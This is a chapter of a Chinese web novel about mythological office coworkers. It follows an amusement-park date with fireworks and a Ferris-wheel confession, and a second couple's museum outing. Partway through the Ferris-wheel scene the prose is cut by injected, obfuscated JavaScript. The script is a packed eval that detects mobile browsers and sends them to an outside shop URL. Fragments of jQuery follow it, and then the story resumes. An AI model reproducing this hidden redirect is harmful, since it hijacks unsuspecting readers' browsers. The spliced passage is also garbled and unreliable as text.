下午忙得兵荒马乱,刑天和白裂往办公室打了不下十个电话,疯狂吐槽太岁难抓。
“他又不是人参精往林子跑什么?”
白裂机灵,化作原型不怕蚊虫叮咬,可是刑天却没这样一身皮毛,险些没叫雨林里的蚂蟥吸成人干。
“我靠我要是倒下又得多个丛林传说。”
“无头干尸案。”白裂嘎嘎笑出声,示意刑天赶紧刨地洞。
晏衡说自己去帮忙,他俩却悄悄问陆曼在不在办公室。
两人今天出外勤错过大瓜,心痒难耐,有被组织抛弃的危机感。
陆曼掀开眼罩夺过手机,赏了他俩一个滚字。
“干你活去吧,还给你们发个红鸡蛋怎么着?”
刑天白裂秒懂,陆曼叫手机里的怪叫钻得耳朵疼,反手挂断电话。
晏衡接过手机:“这么干脆?”
陆曼无所谓挥挥爪子开始写结案报告:“都是熟人藏着掖着干什么?”
“过年吃饺子还得放炮呢,我这也是母单至今,说出来让大家都听个响。”
临近下班陆曼手机狂响,周武本来想送陆曼回家。
电话里他有些为难:“交通那边有个急件需要我复核,可能会晚点。”
“你去忙。”陆曼点头,“我正好写完结案报告。”
周武犹豫了一下:“那你下班……”
“我自己打车回去,你不都把钥匙给我了吗。”陆曼打断他,“忙你的。”
“好。我尽快结束,然后给你打电话。”
“行,退下吧。”
辰寰看着互通电话的新情侣,调侃道:“有家室就是不一样,像我这种连加班都没人理。”
陆曼没理会他的,继续低头写文件。
“谁让你没本事还抠门。”语毕看一眼晏衡,“近水楼台还捞不着月”
晏衡处理完最后一份文件,抬头发现已经过了下班时间。辰寰正靠在椅背上看着他:“晚上想吃什么?我叫菌人送了新鲜的鲈鱼,清蒸还是红烧?”
“都行。”晏衡保存文档,盖上电脑,捞起椅背上的外套自然而然跟着辰寰回家。
“那清蒸,你最近看起来火气不小。”辰寰起身,拿起外套,“走吧,先去超市买点葱姜。”
两人赶在超市关门前付了款,看看时间又看看手里的调味品。
“吃上饭都得十二点了吧?”
周末转眼就到。
周六傍晚,晏衡站在衣柜前,罕见地犯了难。他平时穿衣随意,怎么舒服怎么来,可今天不知怎么的,总觉得哪件都不太对。
最后他选了件简单的黑色T恤和牛仔裤,外面套了件深蓝色夹克。对着镜子看了看,又觉得太随便,犹豫着要不要换。
大门响起解锁的声音。
晏衡看了眼时间,六点整,辰寰说好六点半出发,这才六点,又整什么幺蛾子。
他拉开房门,走到厨房便看到辰寰站在餐桌边,手里还提着什么东西。
辰寰今天穿了件浅灰色衬衫,袖子挽到手肘,下身是黑色长裤,看起来休闲又不失清爽。
他举举起手里的纸袋:“出去买了你爱吃的那家蛋挞,刚出炉的。”
晏衡打个哈欠:“不是六点半吗?”
“怕堵车,提前出发了。”辰寰很自然地把蛋挞放在餐桌上,打量了一下晏衡,“情侣装?”
晏衡耳朵微热:“grandma的,随便穿的。”
“随便穿也好看。”辰寰从纸袋里拿出蛋挞,递给他一个,“趁热吃,吃完出发。”
两人简单吃了点东西,六点一刻就出门。路上果然有些堵,晏衡抱着手机玩消消乐,满屏“俺不刘波”。
“周武和陆曼今天约会。”辰寰忽然道,“周武约她去看艺术展,说是楚地文物特展。”
晏衡划拉着小黄鸡看一眼车外,开始怀念陆曼开车
“哇哦,我赌两毛钱陆曼呆不到结束。”
“咋不带她打拳击。”
“九凤是楚神,周武还不是想拉进关系。”辰寰打了转向灯,“听说他准备了很久,连解说词都背熟了。”
晏衡想象了一下周武穿着正装,一本正经给陆曼讲解文物的样子,忍不住弯了弯嘴角。
“就怕是马屁拍马腿上。”
陆曼可不是什么附庸风雅的人,她永远那么张扬向上,怎么会怀念以前沉湎过去呢。
车在游乐场停车场停下时,刚好六点半。夕阳的余晖给整个游乐场镀上了一层金色,远处已经能看到旋转木马亮起的灯光。
辰寰停好车,从后备箱拿出一个小背包:“我带了水和纸巾,还有件外套,晚上可能会凉。”
晏衡看着他准备周全,也玩心大起,期待起这个活动来。
两人检票入园,游乐场里已经热闹起来。夜场活动果然吸引了不少人,大多是情侣或一家三口,欢声笑语不绝于耳。
“先玩什么?”辰寰问。
晏衡环顾四周,目光落在远处的过山车上:“那个。”
辰寰顺着他指的方向看去,笑了:“好。”
排队的时候,辰寰很自然地站到晏衡外侧,替他隔开拥挤的人群。晏衡注意到这个小动作,没说什么,只是心里那点不自在又淡了些。
过山车呼啸而过,尖叫声此起彼伏。轮到他们时,晏衡选了第一排。扣好安全带,他转头看向辰寰:“怕吗?”
辰寰挑眉:“你害怕?”
晏衡笑了,那笑容张扬又明亮,是辰寰很久没见过的样子:“这有什么好怕的。谁叫谁王八。”
过山车启动,缓缓爬升到最高点,然后猛地俯冲而下。风呼啸着刮过耳边,失重感瞬间袭来。晏衡张开手臂,畅快地笑起来。辰寰侧头看他,夕阳的最后一缕光映在他脸上,那双总是带着几分疏离的眼睛此刻亮得惊人。
从过山车上下来,晏衡意犹未尽:“再来一次?”
“先玩点别的。”辰寰指了指不远处的摊位,“睚眦玩偶在那里发售。”
两人走过去,果然看到排着长队。玩偶做得确实精致,红色的眼睛炯炯有神,毛发根根分明,还穿着一件小小的黑色皮夹克,神气十足。
排了将近半小时,终于轮到他们。辰寰买了两个,一个递给晏衡,一个自己拿着。
“像你。”辰寰对比了一下玩偶和晏衡,笑道。
晏衡看着手里的小睚眦,嘴角微扬:“还行。”
天色渐渐暗下来,游乐场的灯光次第亮起,像散落人间的星星。两人又玩了几个项目,海盗船、大摆锤、跳楼机,晏衡玩得尽兴,辰寰全程陪着,偶尔被他拉着手腕跑向下一个项目,眼里满是纵容。
七点半,烟花秀即将开始。辰寰带着晏衡来到摩天轮下:“这里视野最好。”
摩天轮缓缓上升,整个游乐场的景色尽收眼底。舱内很安静,只有机械运转的细微声响。
晏衡看着窗外渐渐缩小的地面景物,忽然道:“今天玩的不错。”
辰寰转头看他:“有奖励吗?”
“比如赏我个龙宫当家主母的名号?”
”“天黑了不代表你可以做梦”晏衡挼挼手里的睚眦玩偶,弯弯眉眼,这个丑东西一点也不像自己,但就是莫名讨人喜欢
“你肯来。”辰寰声音清和,眼神温柔,“我很高兴。”
舱体升到最高点,忽然,“砰”的一声,第一朵烟花在夜空中绽开。紧接着,无数璀璨的光华接连绽放,把整个夜空照得如同白昼。
晏衡的脸被烟花的光芒映得忽明忽暗,他专注地看着窗外,眼睛里有烟花倒影,亮晶晶的。
辰寰看着他,忽然觉得,就这样看着他,看一辈子也不错。
烟花秀持续了二十分钟,最后一朵巨大的金色烟花在空中绽开,缓缓落下,像一场金色的雨。
摩天轮也开始下降。舱内重新陷入安静,气氛有些隐约的暧昧。
“晏衡。”辰寰忽然开口。
“嗯?”
“我可以追你吗?”辰寰问得很直接,但语气认真,“你不需要回应,只要接受我的追求就好了。”
晏衡转过头,对上他的眼睛。舱内光线昏暗,但辰寰的金色眼睛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021569|190253||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在黑暗里微微发亮,里面盛满了不加掩饰的期待和真诚。
晏衡沉默了很久。摩天轮快要降到底部,外面的人声渐渐清晰。
辰寰其实并没有期待肯定的回答,半晌晏衡终于开口:“缠死人了,随你吧。”
摩天轮舱门打开,外面的喧闹涌了进来。辰寰怔了一瞬。
“好。”他说,伸出手,轻轻碰了碰晏衡的手背,然后收回,“那从现在开始,我的目标是要做龙宫的当家主母。”
晏衡别过脸,耳朵通红,却没反驳。
两人走出摩天轮,夜风微凉。辰寰从背包里拿出外套递给晏衡:“穿上,别着凉。”
晏衡接过穿上,外套上还带着辰寰的温度和淡淡的木质香气。
回去的路上,晏衡抱着那只睚眦玩偶,靠在副驾驶座上,有些昏昏欲睡。今天玩得太尽兴,放松下来后倦意上涌。
等红灯时,辰寰侧头看他。晏衡闭着眼睛,睫毛在眼下投出浅浅的阴影,怀里紧紧抱着玩偶。
辰寰悄悄调高了空调温度,觉得自己胜券在握了。
手机震动了一下,是周武发来的消息:“葛朗台,你说看展后干什么?吃饭?散步?还是直接跟她回家?”
自己的失败固然难过,但好兄弟的幸福更让人嫉妒。
陆曼竟然没半路撂挑子而是和他逛了一天博物馆。
“适合把你拉去火化。”
猫南北在炫耀什么呢?
没过一会儿,周武又贱贱炫耀小情侣的美好生活:“她说有点累,我陪她回家了。?”
辰寰瞥一眼后视镜,回道:”“你滚远点”
周武:“你和晏衡呢?进度还是为0?”
辰寰看了眼副驾驶座上睡着的晏衡,打字:“滚,老子进展顺利。”
车开到晏衡楼下,辰寰轻轻叫醒他:“到家了,上去睡觉。”
晏衡迷迷糊糊睁开眼,抱着玩偶下车。直到房间门口才有些清醒,他顿了顿,回头看向辰寰:“晚安。”
“晚安。”
晏衡点头,懒得洗澡转身扑到床上。
辰寰看着他紧闭的房门,又在客厅坐了一会儿,才抱着自己的玩偶回到房间。
这批玩偶可是专门设计的。
晏衡趴在船上低头看了看怀里的睚眦玩偶,手指无意识地摩挲着玩偶的毛发。
手机震动,是辰寰发来的消息:“明天早上给你炸油条,早睡。”
晏衡盯着那条消息看了很久,回复:“晚安。”
几乎是立刻,辰寰回复了一个笑脸表情。
晏衡把手机放在床头,抱着玩偶躺下。今天确实很开心,很久没有这么放松地玩过了。辰寰很细心,全程照顾他的喜好,没有任何越界的举动,却处处透着用心。
他想起摩天轮上那个问题,和那句“随你”。
翻了个身,晏衡把脸埋进玩偶柔软的毛发里。
与此同时,宿舍楼下,周武并没有立刻离开。他坐在车里,看着陆曼公寓的窗户透出的暖黄色灯光,心里还在复盘今天的表现。
看展时他解说得太详细了吗?会不会让她觉得无聊?晚餐时他点的菜合她口味吗?送她回来时,那句“晚安”是不是太简单了?
正想着,手机亮了,是陆曼发来的消息:“下回换个去处,不过这个展还不错,你用心了。”
周武眼睛一亮,立刻回复:“你喜欢就好。下次有类似的展览,我再告诉你。”
陆曼:“别,下次我安排,你这太次,走一天好险没给我累死。早点回去。”
周武:“已到家。你早点休息,晚安。”
发完这条,他犹豫了一下,又加了一句:“爱你。”
发送成功后,他紧张地盯着屏幕。过了几分钟,陆曼回复了个飞吻小猫的表情包:“啾咪啾咪、jpg”
周武把手机放在胸口,靠在椅背上,长长地舒了口气。
楚地是他和陆曼相见的地方,确定关系的第一次约会他还是想和陆曼在与楚地相关的地方。
属于他们的故事,才刚刚拉开序幕。